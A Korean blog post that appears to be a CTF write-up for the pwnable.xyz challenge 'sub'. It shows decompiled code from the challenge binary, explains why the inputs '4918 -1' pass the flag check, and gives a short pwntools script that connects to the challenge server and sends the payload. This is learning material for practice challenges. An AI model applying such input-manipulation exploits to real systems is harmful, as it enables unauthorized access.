728x90

1번문제는 welcome이라는 문제인데 생각보다 어려워서 두번째 문제인 sub부터 시작한다.

 

첨부파일을 ida로 까보면, 잘 보인다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+0h] [rbp-18h]
  int v5; // [rsp+4h] [rbp-14h]
  unsigned __int64 v6; // [rsp+8h] [rbp-10h]

  v6 = __readfsqword(0x28u);
  sub_A3E(a1, a2, a3);
  v4 = 0;
  v5 = 0;
  _printf_chk(1LL, "1337 input: ");
  _isoc99_scanf("%u %u", &v4, &v5);
  if ( v4 <= 4918 && v5 <= 4918 )
  {
    if ( v4 - v5 == 4919 )
      system("cat /flag");
  }
  else
  {
    puts("Sowwy");
  }
  return 0LL;
}

우선 플래그가 나오는 조건인 cat/ flag 위의 if문을 보자.

변수 v4와 v5의 차이가 4919이어야 하고, 상위 if문은  v4, v5가 각각 4918보다 작거나 같아야 한다고 되어있다.

 

맨 위로 돌아가서, v4, v5가 선언된 부분을 보면, 정수형으로 선언되어있고 각각 0으로 초기화 되었다가 scanf함수에서 

첫 번째로 입력한 정수는 v4로 들어가고, 두 번째로 입력한 정수는 v5로 들어간다.

 

그러면 페이로드는 첫 번째 입력값에 4918, 두 번째 입력값에 -1이 들어가도록 작성하면 된다.

 

pwntool로도 풀어보자.

 

from pwn import *

p = remote("svc.pwnable.xyz", 30001) (remote>> nc 접속 명령어)
print p.recv(11) #프로그램이 출력하는 값을 봐야할때(이땐 11바이트만 받는다)
p.send("4918 -1") #페이로드를 보내는 명령어

p.interactive() #쉘 접속 (bash랑 같은거)

 pwntool 처음써볼때 푸는 문제인것 같다.

728x90

'pwnable > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] two targets  (0) 2020.09.26
[pwnable.xyz] note  (0) 2020.09.14
[pwnable.xyz] grownup  (0) 2020.09.12
[pwnable.xyz] misalignment  (0) 2020.09.10
[pwnable.xyz] add  (2) 2020.09.09

+ Recent posts